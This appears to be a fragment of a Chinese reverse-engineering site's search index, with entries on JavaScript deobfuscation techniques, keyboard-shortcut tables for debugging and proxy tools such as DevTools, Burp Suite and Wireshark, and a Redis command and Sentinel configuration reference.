","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:11:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#2-控制流平坦化还原"},{"categories":null,"collections":null,"content":"3. 其他净化操作 常量表达式计算：将 0x7b 这样的表达式直接计算成 123。 代理函数内联：将代理函数的逻辑直接替换回原来的位置，例如将 add(a, b) 还原成 a + b。 死代码移除：通过分析控制流，识别并删除无法访问到的代码块。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:11:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#3-其他净化操作"},{"categories":null,"collections":null,"content":"常用工具 Babel (核心)：用于解析（Parse）、转换（Transform）和生成（Generate）JavaScript 代码，是编写反混淆脚本的基础。 AST Explorer：在线查看 AST 结构，便于编写转换逻辑。 Node.js / 浏览器控制台：用于动态执行代码片段，特别是解密函数。 de4js, js-beautify：用于基本的代码格式化和一些简单的反混淆。 AST-Deobfuscator：一些开源的、基于 AST 的反混淆工具框架，可以作为参考。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:12:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#常用工具"},{"categories":null,"collections":null,"content":"工具快捷键速查表 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:0:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#工具快捷键速查表"},{"categories":null,"collections":null,"content":"Chrome DevTools ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:1:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#chrome-devtools"},{"categories":null,"collections":null,"content":"打开/切换面板 快捷键 功能 F12 打开/关闭 DevTools Ctrl+Shift+I (Win) / Cmd+Option+I (Mac) 打开/关闭 DevTools Ctrl+Shift+J (Win) / Cmd+Option+J (Mac) 直接打开 Console Ctrl+Shift+C (Win) / Cmd+Option+C (Mac) 元素检查模式 Ctrl+Shift+M (Win) / Cmd+Shift+M (Mac) 设备模拟模式 Ctrl+Shift+P (Win) / Cmd+Shift+P (Mac) 命令面板 Ctrl+[ / Ctrl+] 切换面板 Esc 显示/隐藏抽屉 (Console) ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:1:1","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#打开切换面板"},{"categories":null,"collections":null,"content":"Sources 面板 快捷键 功能 F8 暂停/继续 F9 设置/取消断点 F10 单步跳过 F11 单步进入 Shift+F11 单步跳出 Ctrl+F 搜索文件 Ctrl+Shift+F 全局搜索 Ctrl+G 跳转到行 Ctrl+O / Ctrl+P 打开文件 Ctrl+Shift+O 跳转到函数 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:1:2","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#sources-面板"},{"categories":null,"collections":null,"content":"Console 面板 快捷键 功能 Ctrl+L 清空 Console ↑ / ↓ 历史命令导航 Tab 自动补全 Ctrl+U 清除当前输入 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:1:3","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#console-面板"},{"categories":null,"collections":null,"content":"Elements 面板 快捷键 功能 ↑ / ↓ 导航 DOM 树 → 展开节点 ← 收起节点 F2 编辑 HTML Delete 删除节点 Ctrl+Z 撤销 H 隐藏/显示元素 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:1:4","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#elements-面板"},{"categories":null,"collections":null,"content":"Network 面板 快捷键 功能 Ctrl+R 重新加载 Ctrl+Shift+R 强制重新加载 Ctrl+E 开始/停止录制 Ctrl+F 搜索请求 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:1:5","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#network-面板"},{"categories":null,"collections":null,"content":"VS Code ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:2:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#vs-code"},{"categories":null,"collections":null,"content":"通用 快捷键 功能 Ctrl+P 快速打开文件 Ctrl+Shift+P 命令面板 Ctrl+B 切换侧边栏 Ctrl+\\ 拆分编辑器 Ctrl+W 关闭编辑器 Ctrl+Tab 切换编辑器 Ctrl+Shift+N 新窗口 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:2:1","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#通用"},{"categories":null,"collections":null,"content":"编辑 快捷键 功能 Ctrl+X 剪切行 Ctrl+C 复制行 Ctrl+Shift+K 删除行 Alt+↑/↓ 移动行 Shift+Alt+↑/↓ 复制行 Ctrl+/ 切换注释 Ctrl+Shift+[ / ] 折叠/展开代码块 Ctrl+D 选择下一个相同内容 Ctrl+Shift+L 选择所有相同内容 Alt+Click 多光标 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:2:2","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#编辑"},{"categories":null,"collections":null,"content":"搜索/替换 快捷键 功能 Ctrl+F 查找 Ctrl+H 替换 Ctrl+Shift+F 全局查找 Ctrl+Shift+H 全局替换 F3 / Shift+F3 查找下一个/上一个 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:2:3","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#搜索替换"},{"categories":null,"collections":null,"content":"调试 快捷键 功能 F5 开始/继续调试 F9 切换断点 F10 单步跳过 F11 单步进入 Shift+F11 单步跳出 Shift+F5 停止调试 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:2:4","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#调试"},{"categories":null,"collections":null,"content":"Burp Suite ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:3:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#burp-suite"},{"categories":null,"collections":null,"content":"通用 快捷键 功能 Ctrl+Shift+P 前进到下一个标签页 Ctrl+Shift+N 后退到上一个标签页 Ctrl+T 转发请求到其他工具 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:3:1","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#通用-1"},{"categories":null,"collections":null,"content":"Proxy 拦截 快捷键 功能 Ctrl+F 转发请求 Ctrl+D 丢弃请求 Ctrl+I 切换拦截开/关 Ctrl+R 发送到 Repeater Ctrl+S 发送到 Scanner ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:3:2","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#proxy-拦截"},{"categories":null,"collections":null,"content":"Repeater 快捷键 功能 Ctrl+Space 发送请求 Ctrl+R 切换原始/美化视图 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:3:3","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#repeater"},{"categories":null,"collections":null,"content":"Intruder 快捷键 功能 Ctrl+I 开始攻击 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:3:4","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#intruder"},{"categories":null,"collections":null,"content":"Fiddler 快捷键 功能 F12 开始/停止捕获 F5 刷新会话列表 F2 为会话添加注释 Ctrl+X 删除所有会话 Ctrl+F 查找会话 Shift+Del 删除选中会话 U 解压缩响应 D 解码选中的文本 B 在 Brea 前 kpoint ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:4:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#fiddler"},{"categories":null,"collections":null,"content":"Charles 快捷键 功能 Cmd+R (Mac) / Ctrl+R (Win) 开始/停止录制 Cmd+K 清空会话 Cmd+F 查找 Cmd+E 启用/禁用断点 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:5:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#charles"},{"categories":null,"collections":null,"content":"Python IDE (PyCharm) ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:6:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#python-ide-pycharm"},{"categories":null,"collections":null,"content":"导航 快捷键 功能 Ctrl+N 查找类 Ctrl+Shift+N 查找文件 Ctrl+B 跳转到定义 Ctrl+Alt+← 后退 Ctrl+Alt+→ 前进 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:6:1","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#导航"},{"categories":null,"collections":null,"content":"编辑 快捷键 功能 Ctrl+D 复制行 Ctrl+Y 删除行 Ctrl+/ 注释/取消注释 Ctrl+Alt+L 格式化代码 Ctrl+Space 代码补全 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:6:2","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#编辑-1"},{"categories":null,"collections":null,"content":"调试 快捷键 功能 Shift+F9 调试 F8 单步跳过 F7 单步进入 Shift+F8 单步跳出 F9 继续执行 Ctrl+F8 切换断点 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:6:3","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#调试-1"},{"categories":null,"collections":null,"content":"浏览器通用 快捷键 功能 Ctrl+T 新标签页 Ctrl+W 关闭标签页 Ctrl+Shift+T 重新打开关闭的标签页 Ctrl+Tab 下一个标签页 Ctrl+Shift+Tab 上一个标签页 Ctrl+L 地址栏 Ctrl+D 添加书签 Ctrl+H 历史记录 Ctrl+J 下载记录 F5 刷新 Ctrl+F5 强制刷新（清除缓存） Ctrl+U 查看源代码 Ctrl+Shift+Delete 清除浏览数据 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:7:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#浏览器通用"},{"categories":null,"collections":null,"content":"Wireshark 快捷键 功能 Ctrl+E 开始/停止捕获 Ctrl+W 关闭捕获 Ctrl+R 重新加载 Ctrl+F 查找数据包 Ctrl+G 跳转到数据包 Ctrl+M 标记数据包 Ctrl+B 查找下一个标记 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:8:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#wireshark"},{"categories":null,"collections":null,"content":"Git GUI (SourceTree) 快捷键 功能 Ctrl+1 File Status Ctrl+2 History Ctrl+3 Search Ctrl+R Refresh Ctrl+P Push Ctrl+Shift+P Pull ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:9:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#git-gui-sourcetree"},{"categories":null,"collections":null,"content":"自定义快捷键建议 为常用操作设置快捷键可以大幅提高效率： ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:10:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#自定义快捷键建议"},{"categories":null,"collections":null,"content":"Chrome Snippets DevTools → Sources → Snippets 创建常用 Hook 脚本 右键 → “Run” 或按 Ctrl+Enter ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:10:1","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#chrome-snippets"},{"categories":null,"collections":null,"content":"Tampermonkey 设置快捷键执行用户脚本： // ==UserScript== // @name My Hook Script // @grant GM_registerMenuCommand // ==/UserScript== GM_registerMenuCommand(\"Execute Hook\", function () { // Your hook code }); ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:10:2","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#tampermonkey"},{"categories":null,"collections":null,"content":"相关章节 Chrome DevTools Burp Suite 常用命令 ","date":"2025-04-16","objectID":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/:11:0","tags":["Web","代理池","速查表","Hook","参考","ARM汇编"],"title":"工具快捷键速查表","uri":"/reverse_engineering/web/08-cheat-sheets/tool_shortcuts/#相关章节"},{"categories":null,"collections":null,"content":"Redis 常用命令备忘录 Redis 是一个开源的、基于内存的、高性能的键值存储系统。它支持多种数据结构，如字符串、哈希、列表、集合和有序集合。本备忘录旨在提供常用命令的快速参考。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:0:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#redis-常用命令备忘录"},{"categories":null,"collections":null,"content":"连接与服务器管理 命令 描述 redis-cli 启动 Redis 命令行客户端 redis-cli -h \u003chost\u003e -p \u003cport\u003e -a \u003cpassword\u003e 连接到指定的 Redis 实例 PING 测试服务器是否仍在运行，返回 PONG AUTH \u003cpassword\u003e 验证连接密码 SELECT \u003cindex\u003e 选择数据库 (默认 0-15) FLUSHDB 清空当前数据库的所有键 FLUSHALL 清空所有数据库的所有键 INFO 获取服务器的信息和统计数据 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:1:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#连接与服务器管理"},{"categories":null,"collections":null,"content":"键 (Key) 操作 命令 描述 KEYS \u003cpattern\u003e 查找所有符合给定模式的键 (如 KEYS *, KEYS user:*) (慎用，会阻塞) SCAN \u003ccursor\u003e [MATCH pattern] [COUNT count] 迭代数据库中的键，比 KEYS 更安全 EXISTS \u003ckey\u003e 检查给定键是否存在 DEL \u003ckey\u003e [key ...] 删除一个或多个键 TYPE \u003ckey\u003e 返回键所存储的值的类型 (string, hash, list, set, zset) TTL \u003ckey\u003e 以秒为单位，返回给定键的剩余生存时间 EXPIRE \u003ckey\u003e \u003cseconds\u003e 为给定键设置生存时间 PERSIST \u003ckey\u003e 移除给定键的生存时间，使其永久保存 RENAME \u003ckey\u003e \u003cnewkey\u003e 修改键的名称 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:2:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#键-key-操作"},{"categories":null,"collections":null,"content":"字符串 (String) 字符串是 Redis 最基本的数据类型，可以存储任何类型的数据，如文本、序列化的 JSON 或二进制数据。 命令 描述 SET \u003ckey\u003e \u003cvalue\u003e 设置指定键的值 GET \u003ckey\u003e 获取指定键的值 SETEX \u003ckey\u003e \u003cseconds\u003e \u003cvalue\u003e 设置键值对并指定过期时间 SETNX \u003ckey\u003e \u003cvalue\u003e 只有在键不存在时才设置键的值 MSET \u003ckey1\u003e \u003cvalue1\u003e [key2 value2 ...] 同时设置一个或多个键值对 MGET \u003ckey1\u003e [key2 ...] 获取所有给定键的值 INCR \u003ckey\u003e 将键中储存的数字值增一 (原子操作) DECR \u003ckey\u003e 将键中储存的数字值减一 (原子操作) INCRBY \u003ckey\u003e \u003cincrement\u003e 将键所储存的值加上指定的增量值 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:3:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#字符串-string"},{"categories":null,"collections":null,"content":"哈希 (Hash) 哈希是一个键值对的集合，非常适合用于存储对象。 命令 描述 HSET \u003ckey\u003e \u003cfield\u003e \u003cvalue\u003e 将哈希表中字段的值设为 value HGET \u003ckey\u003e \u003cfield\u003e 获取存储在哈希表中指定字段的值 HMSET \u003ckey\u003e \u003cf1\u003e \u003cv1\u003e [f2 v2 ...] 同时将多个 field-value 对设置到哈希表中 HMGET \u003ckey\u003e \u003cfield1\u003e [field2 ...] 获取所有给定字段的值 HGETALL \u003ckey\u003e 获取在哈希表中指定键的所有字段和值 HKEYS \u003ckey\u003e 获取哈希表中的所有字段 HVALS \u003ckey\u003e 获取哈希表中的所有值 HDEL \u003ckey\u003e \u003cfield1\u003e [field2 ...] 删除一个或多个哈希表字段 HEXISTS \u003ckey\u003e \u003cfield\u003e 查看哈希表的指定字段是否存在 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:4:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#哈希-hash"},{"categories":null,"collections":null,"content":"列表 (List) 列表是简单的字符串列表，按照插入顺序排序。你可以添加一个元素到列表的头部（左边）或者尾部（右边）。 命令 描述 LPUSH \u003ckey\u003e \u003cvalue1\u003e [value2 ...] 将一个或多个值插入到列表头部 RPUSH \u003ckey\u003e \u003cvalue1\u003e [value2 ...] 将一个或多个值插入到列表尾部 LPOP \u003ckey\u003e 移出并获取列表的第一个元素 RPOP \u003ckey\u003e 移出并获取列表的最后一个元素 LLEN \u003ckey\u003e 获取列表的长度 LRANGE \u003ckey\u003e \u003cstart\u003e \u003cstop\u003e 获取列表指定范围内的元素 LINDEX \u003ckey\u003e \u003cindex\u003e 通过索引获取列表中的元素 LSET \u003ckey\u003e \u003cindex\u003e \u003cvalue\u003e 通过索引设置列表元素的值 LTRIM \u003ckey\u003e \u003cstart\u003e \u003cstop\u003e 对列表进行修剪，只保留指定区间内的元素 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:5:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#列表-list"},{"categories":null,"collections":null,"content":"集合 (Set) 集合是字符串类型的无序集合。集合成员是唯一的，不能出现重复的数据。 命令 描述 SADD \u003ckey\u003e \u003cmember1\u003e [member2 ...] 向集合添加一个或多个成员 SMEMBERS \u003ckey\u003e 返回集合中的所有成员 SISMEMBER \u003ckey\u003e \u003cmember\u003e 判断 member 元素是否是集合的成员 SCARD \u003ckey\u003e 获取集合的成员数 SREM \u003ckey\u003e \u003cmember1\u003e [member2 ...] 移除集合中一个或多个成员 SPOP \u003ckey\u003e [count] 随机移除并返回集合中一个或多个成员 SUNION \u003ckey1\u003e [key2 ...] 返回所有给定集合的并集 SINTER \u003ckey1\u003e [key2 ...] 返回所有给定集合的交集 SDIFF \u003ckey1\u003e [key2 ...] 返回所有给定集合的差集 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:6:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#集合-set"},{"categories":null,"collections":null,"content":"有序集合 (Sorted Set / ZSet) 有序集合和集合一样是字符串类型元素的集合，且不允许重复的成员。不同的是每个元素都会关联一个 double 类型的分数 (score)。 命令 描述 ZADD \u003ckey\u003e \u003cscore1\u003e \u003cmember1\u003e [...] 向有序集合添加一个或多个成员 ZRANGE \u003ckey\u003e \u003cstart\u003e \u003cstop\u003e [WITHSCORES] 通过索引区间返回成员 (分数递增) ZREVRANGE \u003ckey\u003e \u003cstart\u003e \u003cstop\u003e [WITHSCORES] 返回指定区间内的成员 (分数递减) ZRANGEBYSCORE \u003ckey\u003e \u003cmin\u003e \u003cmax\u003e 通过分数返回指定区间内的成员 ZCARD \u003ckey\u003e 获取有序集合的成员数 ZSCORE \u003ckey\u003e \u003cmember\u003e 返回成员的 score 值 ZREM \u003ckey\u003e \u003cmember1\u003e [member2 ...] 移除一个或多个成员 ZCOUNT \u003ckey\u003e \u003cmin\u003e \u003cmax\u003e 计算指定分数区间的成员数 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:7:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#有序集合-sorted-set--zset"},{"categories":null,"collections":null,"content":"Redis 架构演进 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#redis-架构演进"},{"categories":null,"collections":null,"content":"版本发展 版本 发布时间 主要特性 Redis 1.0 2009 年 基础键值存储，5 种基本数据结构 Redis 2.0 2010 年 引入虚拟内存、发布订阅 Redis 2.6 2012 年 Lua 脚本支持、过期键处理优化 Redis 2.8 2013 年 部分重同步、Sentinel 高可用 Redis 3.0 2015 年 Redis Cluster 集群支持 Redis 4.0 2017 年 模块系统、内存优化、混合持久化 Redis 5.0 2018 年 Stream 数据结构、动态 HZ Redis 6.0 2020 年 多线程 I/O、ACL 权限控制、SSL Redis 7.0 2022 年 Redis Functions、多 ACL 用户 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:1","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#版本发展"},{"categories":null,"collections":null,"content":"架构演进路径 1. 单机模式 (Single Instance) 最简单的部署方式，适合开发和测试环境。 2. 主从复制 (Master-Slave) 数据异步复制到从节点，提供读写分离能力。 3. Sentinel 高可用 (Redis Sentinel) 监控主从节点，自动进行故障转移。 4. 集群模式 (Redis Cluster) 数据分片存储，支持水平扩展。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#架构演进路径"},{"categories":null,"collections":null,"content":"架构演进路径 1. 单机模式 (Single Instance) 最简单的部署方式，适合开发和测试环境。 2. 主从复制 (Master-Slave) 数据异步复制到从节点，提供读写分离能力。 3. Sentinel 高可用 (Redis Sentinel) 监控主从节点，自动进行故障转移。 4. 集群模式 (Redis Cluster) 数据分片存储，支持水平扩展。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#1-单机模式-single-instance"},{"categories":null,"collections":null,"content":"架构演进路径 1. 单机模式 (Single Instance) 最简单的部署方式，适合开发和测试环境。 2. 主从复制 (Master-Slave) 数据异步复制到从节点，提供读写分离能力。 3. Sentinel 高可用 (Redis Sentinel) 监控主从节点，自动进行故障转移。 4. 集群模式 (Redis Cluster) 数据分片存储，支持水平扩展。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#2-主从复制-master-slave"},{"categories":null,"collections":null,"content":"架构演进路径 1. 单机模式 (Single Instance) 最简单的部署方式，适合开发和测试环境。 2. 主从复制 (Master-Slave) 数据异步复制到从节点，提供读写分离能力。 3. Sentinel 高可用 (Redis Sentinel) 监控主从节点，自动进行故障转移。 4. 集群模式 (Redis Cluster) 数据分片存储，支持水平扩展。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#3-sentinel-高可用-redis-sentinel"},{"categories":null,"collections":null,"content":"架构演进路径 1. 单机模式 (Single Instance) 最简单的部署方式，适合开发和测试环境。 2. 主从复制 (Master-Slave) 数据异步复制到从节点，提供读写分离能力。 3. Sentinel 高可用 (Redis Sentinel) 监控主从节点，自动进行故障转移。 4. 集群模式 (Redis Cluster) 数据分片存储，支持水平扩展。 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:2","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#4-集群模式-redis-cluster"},{"categories":null,"collections":null,"content":"脑裂问题 (Split-Brain) 定义: 脑裂是指在分布式系统中，由于网络分区或节点故障，导致系统中出现多个\"大脑\"（多个节点都认为自己是主节点）的情况。 Redis 中的脑裂场景: 网络分区前: Sentinel1,2,3 ←→ Master ←→ Slave1,2 网络分区后: PartitionA: Sentinel1 ←→ Master (原主节点) PartitionB: Sentinel2,3 ←→ Slave1 ←→ Slave2 (选举新主节点) Redis 脑裂预防机制: Sentinel 奇数部署: 确保故障转移时有明确的多数派 # 推荐配置：至少 3 个 Sentinel Sentinel1, Sentinel2, Sentinel3 配置写入限制: # 至少需要 2 个 Slave 节点，最大延迟 10 秒 min-slaves-to-write 2 min-slaves-max-lag 10 客户端配置: sentinel = Sentinel([ ('localhost', 26379), ('localhost', 26380), ('localhost', 26381) ]) master = sentinel.master_for('mymaster', socket_timeout=0.1) ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:8:3","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#脑裂问题-split-brain"},{"categories":null,"collections":null,"content":"Redis 集群详解 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:9:0","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#redis-集群详解"},{"categories":null,"collections":null,"content":"Sentinel 模式 核心功能 监控 (Monitoring): 监控 master 和 slave 健康状态 通知 (Notification): 故障时通知管理员 自动故障转移 (Automatic Failover): 自动选举新 master 配置提供 (Configuration Provider): 为客户端提供当前 master 地址 工作原理 # Sentinel 配置文件 sentinel monitor mymaster 127.0.0.1 6379 2 sentinel down-after-milliseconds mymaster 30000 sentinel parallel-syncs mymaster 1 sentinel failover-timeout mymaster 180000 故障转移流程： 主观下线 (SDOWN): 单个 Sentinel 认为主节点不可用 客观下线 (ODOWN): 